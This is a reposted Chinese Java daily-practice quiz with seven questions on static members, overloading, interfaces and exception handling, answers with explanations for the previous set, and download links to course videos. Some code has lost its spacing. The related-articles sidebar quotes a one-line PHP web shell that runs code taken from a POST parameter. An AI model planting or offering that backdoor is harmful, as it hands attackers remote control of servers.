Java每日一练(2017/6/29)

Java基础 | 数据库 | Android | 学习视频 | 学习资料下载

最新通知

●回复"每日一练"获取以前的题目!

●【新】Ajax知识点视频更新了!(下载链接在本文下面)

●答案公布时间:为每期发布题目的第二天

★【新】回复“测试题”获取昨天发布的软件工程师初级阶段测试题答案

★【新】回复“学习资料”获取java学习电子文档

★【新】回复“聊天系统”获取java多人聊天系统项目源码!

●我希望大家积极参与答题!有什么不懂可以加小编微信进行讨论

★珍惜每一天,拼搏每一天,专心每一天,成功每一天。

题目要求 (单选题) 1、欲定义类字段或类方法(静态方法),应该使用下列哪一个修饰符修饰() A public B static C protected D synchronized


(单选题) 2、类 ABC 定义如下: 1 . public class ABC{ 2 . public double max( double a, double b) { } 3 . 4 . } 将以下哪个方法插入行 3 是不合法的。() A public float max(floata, float b, float c){ } B public double max(double c, double d){ } C public float max(floata, float b){ } D private int max(int a,int b, int c){ }


(单选题)3、关于抽象类和接口叙述正确的是? ( ) A 抽象类和接口都能实例化的 B 抽象类不能实现接口 C 抽象类方法的访问权限默认都是public D 接口方法的访问权限默认都是public


(单选题) 4、关于异常处理机制的叙述正确的是() A catch部分捕捉到异常情况时,才会执行finally部分 B 当try区段的程序发生异常时,才会执行finally部分 C 当try区段不论程序是否发生错误及捕捉到异常情况,都会执行finally部分 D 以上都是


(单选题) 5、以下代码返回值是什么? publicboolean returnTest() { try { returntrue; } catch (Exception e) { } finally { returnfalse; } } A true B false


(不定项选择题) 6、下列描述错误的是? A 类只能继承一个父类,但是可以实现多个接口 B 抽象类自身可以定义成员而接口不可以 C 抽象类和接口都不能被实例化(忽略匿名内部类) D 一个类可以有多个基类和多个基接口


(单选题) 7、以下声明合法的是 A default String s B public finalstatic native int w( ) C abstract double d D abstract finaldouble hyperbolicCosine( ) ★请转发给身边需要的朋友!您的每一次转发都是对我的一份支持!!

上期练习题答案公布栏

(不定项选择题) 1、下面代码在main方法代码后可以正常使用的是()

public class Test

{

private inta=10;

intb=20;

static intc=1;

public static void main(String arg[])

{

Test t = newTest();

}

}

A t.a

B this.c

C Test.b

D Test.c

正确答案是:AD

解析:B:在静态方法中不能使用this,因为如果在static修饰的方法中使用了this关键字,则该关键字无法指向合适对象,静态方法是由类调用的! C:非静态变量不能由类调用,需要由对象调用!


(单选题)2、如下语句通过算术运算和逻辑运算之后i和 j的结果是()

int i=0;

int j=0;

if((++i>0)||(++j>0)){

//打印i和j的值

}

A i=0;j=0

B i=1;j=1

C i=0;j=1

D i=1;j=0

正确答案是:D

解析:

||是短路运算符,前面成立后就不会运行后面的部分

|则不同,无论如何都会执行前面和后面


(单选题) 3、以下代码执行后输出结果为()

public class Test

{

public static Test t1 = new Test();

{

System.out.println("blockA");

}

static

{

System.out.println("blockB");

}

public static void main(String[] args)

{

Test t2 = new Test();

}

}

A blockAblockBblockA

B blockAblockAblockB

C blockBblockBblockA

D blockBblockAblockB

正确答案是:A

解析:

1.首先,需要明白类的加载顺序。 (1) 父类静态对象和静态代码块 (2) 子类静态对象和静态代码块 (3) 父类非静态对象和非静态代码块 (4) 父类构造函数 (5) 子类 非静态对象和非静态代码块 (6) 子类构造函数 其中:类中静态块按照声明顺序执行,并且(1)和(2)不需要调用new类实例的时候就执行了(意思就是在类加载到方法区的时候执行的) 2.因而,整体的执行顺序为 public static Test t1 = new Test(); //(1) static { System.out.println("blockB"); //(2) } Test t2 =new Test(); //(3) 在执行(1)时创建了一个Test对象,在这个过程中会执行非静态代码块和缺省的无参构造函数,在执行非静态代码块时就输出了blockA;然后执行(2)输出blockB;执行(3)的过程同样会执行非静态代码块和缺省的无参构造函数,在执行非静态代码块时输出blockA。因此,最终的结果为 blockA blockB blockA


(单选题)4、下面程序的运行结果:()

public static void main(String args[]) {

Threadt=new Thread(){

publicvoid run(){

dianping();

}

};

t.run();

System.out.print("dazhong");

}

static voiddianping(){

System.out.print("dianping");

}

A dazhongdianping

B dianpingdazhong

C a和b都有可能

D dianping循环输出,dazhong夹杂在中间

正确答案是:B

解析:

在上面main()方法中,并没有创建一个新的线程,只是简单地方法调用而已,如果想要创建线程,需要t.start();创建线程,等待cpu时间片,而run()方法只是简单地方法调用,所以先执行run(),在输出dazhong

微信小程序

点击右下角的 "留言" 获赞数超过5个的朋友即可获取一套微信小程序学习视频

1 Java基础入门视频教学素材链接:

1-2天上课内容!链接: https://pan.baidu.com/s/1skDryK9 密码: k4we

3-5天上课内容! 链接: https://pan.baidu.com/s/1nvLNu1z 密码: gmb2

6-10天上课内容!链接: https://pan.baidu.com/s/1slvqSUx 密码: pnbp

11-13天上课内容!链接: http://pan.baidu.com/s/1slIXZVR 密码: 4tde

14-17天上课内容!链接: https://pan.baidu.com/s/1pL98ODt 密码: 8qn2

18-20天上课内容!链接: https://pan.baidu.com/s/1eSqUFhK 密码: utxc

21-25天上课内容!链接:http://pan.baidu.com/s/1nuXeaUX 密码:k3wg

Java入门基础的上课内容自己更新完毕

2 Html&JavaScript阶段的视频教学素材链接:

1-4天的上课内容!链接: http://pan.baidu.com/s/1o8jT2qu 密码: 7ida

5-7天的上课内容!链接: https://pan.baidu.com/s/1c25SKAc 密码: wpje

HTML&javascript的上课内容自己更新完毕

3 数据库阶段的视频教学素材链接:

1-3天的上课内容 链接: https://pan.baidu.com/s/1nuOXvYD 密码: 4idi

4-5天的上课内容 链接: https://pan.baidu.com/s/1jIn0hlO 密码: bhui

6-7天的上课内容 链接: https://pan.baidu.com/s/1b1DKNO 密码: mmm3

8-9天的上课内容 链接: https://pan.baidu.com/s/1miyn54c 密码: 3wvn

【新】10-11天的上课内容 接: https://pan.baidu.com/s/1o8x4Uqm 密码: 6648

3 jsp&servet阶段阶段的视频教学素材链接:

【新】1-4天的上课内容 链接: https://pan.baidu.com/s/1mi0rhLe 密码: hp9t

4 Ajax知识点视频教学素材链接:

【新】链接: https://pan.baidu.com/s/1gfgQrPT 密码: zfqd(更新时间2017/6/16)

本文分享自微信公众号 - java学习(javaxxf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-06-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏专知

【专知-Deeplearning4j深度学习教程03】使用多层神经网络分类MNIST数据集:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

516110
来自专栏专知

【专知-Java Deeplearning4j深度学习教程04】使用CNN进行文本分类:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

3.2K70
来自专栏专知

【专知-Java Deeplearning4j深度学习教程05】无监督特征提取神器—AutoEncoder:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

589110
来自专栏小樱的经验随笔

密码学经典之生日悖论与生日攻击【详解】

生日悖论 在算法导论书上看到个比较有意思的概率算法,在这里加上自己的理解分享下: 上次刚看同学发的朋友圈说道:“两个人同一间宿舍,而且同年同月同日生,这个缘分真...

710120
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

62830
来自专栏小樱的经验随笔

51 Nod 1027 大数乘法【Java大数乱搞】

1027 大数乘法 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 给出2个大整数A,B,计算A*B的结果。 Input 第1行:...

21540
来自专栏专知

【专知-Deeplearning4j深度学习教程01】分布式Java开源深度学习框架DL4j安装使用: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

55490
来自专栏小樱的经验随笔

51 Nod 1057 N的阶乘【Java大数乱搞】

1057 N的阶乘 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N求N的阶乘的准确值。 Input 输入N(1 <= N ...

28560
来自专栏专知

【专知-Deeplearning4j深度学习教程02】用ND4J自己动手实现RBM: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

676100
来自专栏小樱的经验随笔

51 Nod 1008 N的阶乘 mod P【Java大数乱搞】

1008 N的阶乘 mod P 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N和P(P为质数),求N! Mod P ...

30160

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励